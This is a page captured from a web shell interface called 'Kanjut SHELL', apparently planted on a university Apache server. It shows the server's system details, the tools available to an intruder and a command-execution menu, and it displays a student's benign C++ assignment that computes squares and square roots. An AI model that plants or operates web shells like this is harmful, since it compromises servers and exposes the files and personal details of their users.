Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.221.183.34
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jcwhiley/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jcwhiley/assignment8.cpp
//
// CS112 CS 1 Assignment 8
// Due: Wednesday, December 8, 2010
//
// File Name: assignment8.cpp
// Author: Jennifer Whiley
// Instuctor: Dr. Wang
//
// Compile: g++ assignment8.cpp
// Run: ./a.out < in8.txt >> out8.txt
//
// Goal: The program will read an unknown set of numbers and output their
//       square and square root (to one decimal place.) The program
//       will place all output into a file called out8.txt
//

#include <iostream>
#include <iomanip>
#include <cmath>

using namespace std;

int main()
{
	float n;
        float sqre;
	float srtn;
	int counter = 0;
	
	cout << fixed << showpoint << setprecision(1) << endl;
	cin >> n;

	while(cin)
	{	sqre = pow(n, 2);

		srtn = sqrt(n);

		counter++;

		cout << counter << "th number" << "\n"; 			
		cout << "The square of the number is: " << sqre << "\n";
        	cout << "The square root of the number is: " << srtn << "\n";
		cout << "\n" << endl;		

		cin >> n;
	}
		
	
	return 0;
}

Stv3n404 - 2023